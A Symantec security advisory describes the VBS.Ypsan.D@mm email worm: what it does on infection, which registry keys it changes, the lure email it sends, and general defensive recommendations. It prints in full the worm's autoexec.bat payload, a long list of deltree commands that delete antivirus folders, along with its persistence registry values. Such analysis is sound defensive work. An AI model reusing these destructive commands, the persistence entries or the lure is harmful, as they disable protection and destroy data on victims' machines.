1. Symantec/
  2. Security Response/
  3. VBS.Ypsan.D@mm

VBS.Ypsan.D@mm

Risk Level 2: Low

Discovered:
April 9, 2005
Updated:
February 13, 2007 12:36:38 PM
Type:
Worm
Systems Affected:
Windows

When VBS.Ypsan.D@mm is executed, it performs the following actions:
  1. Copies itself as the following:

    • %System%\Uninstall\Uninstall.log.vbs
    • %System%\Uninstall\Install.log.vbs

      Note: %System% is a variable that refers to the System folder. By default this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).

  2. Attempts to delete the following files:

    • C:\Boot.ini
    • %Windir%\System.ini
    • %Windir%\Win.ini
    • %System%\wuauclt1.exe
    • %System%\wuauclt.exe
    • %System%\wupdmgr.exe
    • %System%\rundll32.exe
    • %Windir%\Regedit.exe

      Notes:
    • %Windir% is a variable that refers to the Windows installation folder. By default, this is C:\Windows (Windows 95/98/Me/XP) or C:\Winnt (Windows NT/2000).
    • %System% is a variable that refers to the System folder. By default this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP)

  3. Adds the values:

    "BootCfg" = "wscript.exe C:\WINDOWS\System32\Uninstall\Install.log.vbs % "
    "Back Updates" = "wscript.exe C:\WINDOWS\System32\Uninstall\Uninstall.log.vbs % "

    to the registry key:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    so that the worm runs every time Windows starts.

  4. Adds the values:

    "NoVirtMemPage" = "1"
    "NoPwdPage" = "1"
    "NoFileSysPage" = "1"
    "NoAdminPage" = "1"

    to the registry key:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

  5. Adds the values:

    "NoDeletePrinter" = "1"
    "NoDrives" = "67108863"

    to the registry key:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

  6. Adds the value:

    "Disabled" = "1"

    to the registry key:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp

  7. Adds the value:

    "NoFileSharingControl" = "1"

    to the registry key:

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network

  8. Sends an email to all email addresses in the Windows Address Book. The email has the following characteristics:

    Subject: 
    Back Up System

    Message body:
    The information that u asked for, Downloads and install the an Attached file, so you can save backs to your computer. To help you just in case you deleted or uninstalled some that you didn't want uninstall.

    Attachment: 
    Install.vbs 

  9. Attempts to overwrite C:\autoexec.bat with the following lines in an attempt to disable or delete antivirus software:

    @deltree/y c:\antiba~1\*.*
    @deltree/y c:\antiba~2\*.*
    @deltree/y c:\antiba~1.1\*.*
    @deltree/y c:\antiba~1.2\*.*
    @deltree/y c:\antiba~1.3\*.*
    @deltree/y c:\antiba~1.4\*.*
    @deltree/y c:\antiba~1.5\*.*
    @deltree/y c:\antiba~1.6\*.*
    @deltree/y c:\antiba~1.7\*.*
    @deltree/y c:\antiba~1.8\*.*
    @deltree/y c:\antivi~1\*.*
    @deltree/y c:\antivi~2\*.*
    @deltree/y c:\antiviru\*.*
    @deltree/y c:\avg\*.*
    @deltree/y c:\avp\*.*
    @deltree/y c:\avp30\*.*
    @deltree/y c:\avx\*.*
    @deltree/y c:\avpers~1\*.*
    @deltree/y c:\bitdef~1\*.*
    @deltree/y c:\bitdef~2\*.*
    @deltree/y c:\comman~1\*.*
    @deltree/y c:\cleancih\*.*
    @deltree/y c:\esafen\*.*
    @deltree/y c:\findvi~1\*.*
    @deltree/y c:\f-macro\*.*
    @deltree/y c:\f-prot\*.*
    @deltree/y c:\f-prot95\*.*
    @deltree/y c:\f-secu~1\*.*
    @deltree/y c:\fwin\*.*
    @deltree/y c:\fwin32\*.*
    @deltree/y c:\inocul~1\*.*
    @deltree/y c:\inocul~2\*.*
    @deltree/y c:\kasper~1\*.*
    @deltree/y c:\kasper~2\*.*
    @deltree/y c:\mcafee\*.*
    @deltree/y c:\mcafee~1\*.*
    @deltree/y c:\msav\*.*
    @deltree/y c:\norman\*.*
    @deltree/y c:\norton~1\*.*
    @deltree/y c:\norton~2\*.*
    @deltree/y c:\pav\*.*
    @deltree/y c:\pccill~1\*.*
    @deltree/y c:\pc-cil~1\*.*
    @deltree/y c:\rav\*.*
    @deltree/y c:\softwin\*.*
    @deltree/y c:\tbav\*.*
    @deltree/y c:\tbavw95\*.*
    @deltree/y c:\toolkit\*.*
    @deltree/y c:\trendm~1\*.*
    @deltree/y c:\trex\*.*
    @deltree/y c:\virus\*.*
    @deltree/y c:\vpc\*.*
    @deltree/y c:\vs95\*.*
    @deltree/y c:\zonela~1\*.*
    @deltree/y c:\zonela~2\*.*
    @deltree/y c:\progra~1\antiba~1\*.*
    @deltree/y c:\progra~1\antiba~2\*.*
    @deltree/y c:\progra~1\antiba~1.1\*.*
    @deltree/y c:\progra~1\antiba~1.2\*.*
    @deltree/y c:\progra~1\antiba~1.3\*.*
    @deltree/y c:\progra~1\antiba~1.4\*.*
    @deltree/y c:\progra~1\antiba~1.5\*.*
    @deltree/y c:\progra~1\antiba~1.6\*.*
    @deltree/y c:\progra~1\antiba~1.7\*.*
    @deltree/y c:\progra~1\antiba~1.8\*.*
    @deltree/y c:\progra~1\antivi~1\*.*
    @deltree/y c:\progra~1\antivi~2\*.*
    @deltree/y c:\progra~1\avg\*.*
    @deltree/y c:\progra~1\avp\*.*
    @deltree/y c:\progra~1\avx\*.*
    @deltree/y c:\progra~1\avx2000\*.*
    @deltree/y c:\progra~1\avpers~1\*.*
    @deltree/y c:\progra~1\bitdef~1\*.*
    @deltree/y c:\progra~1\bitdef~2\*.*
    @deltree/y c:\progra~1\comman~1\*.*
    @deltree/y c:\progra~1\common~1\avpsha~1*.*
    @deltree/y c:\progra~1\common~1\symant~1\*.*
    @deltree/y c:\progra~1\datafe~1\*.*
    @deltree/y c:\progra~1\deerfi~1.com\*.*
    @deltree/y c:\progra~1\f-prot\*.*
    @deltree/y c:\progra~1\f-prot95\*.*
    @deltree/y c:\progra~1\findvi~1\*.*
    @deltree/y c:\progra~1\f-secu~1\*.*
    @deltree/y c:\progra~1\f-secure\*.*
    @deltree/y c:\progra~1\fsi\*.*
    @deltree/y c:\progra~1\fwin\*.*
    @deltree/y c:\progra~1\fwin32\*.*
    @deltree/y c:\progra~1\grisoft\*.*
    @deltree/y c:\progra~1\inocul~1\*.*
    @deltree/y c:\progra~1\inocul~2\*.*
    @deltree/y c:\progra~1\intern~2\*.*
    @deltree/y c:\progra~1\kasper~1\*.*
    @deltree/y c:\progra~1\kasper~2\*.*
    @deltree/y c:\progra~1\mcafee\*.*
    @deltree/y c:\progra~1\mcafee~1\*.*
    @deltree/y c:\progra~1\mindso~1\*.*
    @deltree/y c:\progra~1\norman\*.*
    @deltree/y c:\progra~1\norton~1\*.*
    @deltree/y c:\progra~1\norton~2\*.*
    @deltree/y c:\progra~1\pandas~1\*.*
    @deltree/y c:\progra~1\protec~1\*.*
    @deltree/y c:\progra~1\protec~2\*.*
    @deltree/y c:\progra~1\quickh~1\*.*
    @deltree/y c:\progra~1\rav\*.*
    @deltree/y c:\progra~1\signal9\*.*
    @deltree/y c:\progra~1\softwin\*.*
    @deltree/y c:\progra~1\spysto~1\*.*
    @deltree/y c:\progra~1\symant~1\*.*
    @deltree/y c:\progra~1\tbav\*.*
    @deltree/y c:\progra~1\tinype~1\*.*
    @deltree/y c:\progra~1\trendm~1\*.*
    @deltree/y c:\progra~1\trendp~1\*.*
    @deltree/y c:\progra~1\trojan~1\*.*
    @deltree/y c:\progra~1\trojan~2\*.*
    @deltree/y c:\progra~1\virusm~1.0\*.*
    @deltree/y c:\progra~1\zonela~1\*.*
    @deltree/y c:\progra~1\zonela~2\*.*


  10. Shuts down the compromised computer.


Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

  • Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.
  • Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
  • Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.
  • Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.
  • Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.
  • Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.
  • If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
  • Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
  • Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.
  • Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.
  • Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
  • If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.
  • For further information on the terms used in this document, please refer to the Security Response glossary.
Writeup By: Hatsuho Honda
Summary| Technical Details| Removal

Search Threats

Search by name
Example: W32.Beagle.AG@mm
STAR Antimalware Protection Technologies
2016 Internet Security Threat Report, Volume 21
  • Twitter
  • Facebook
  • LinkedIn
  • Google+
  • YouTube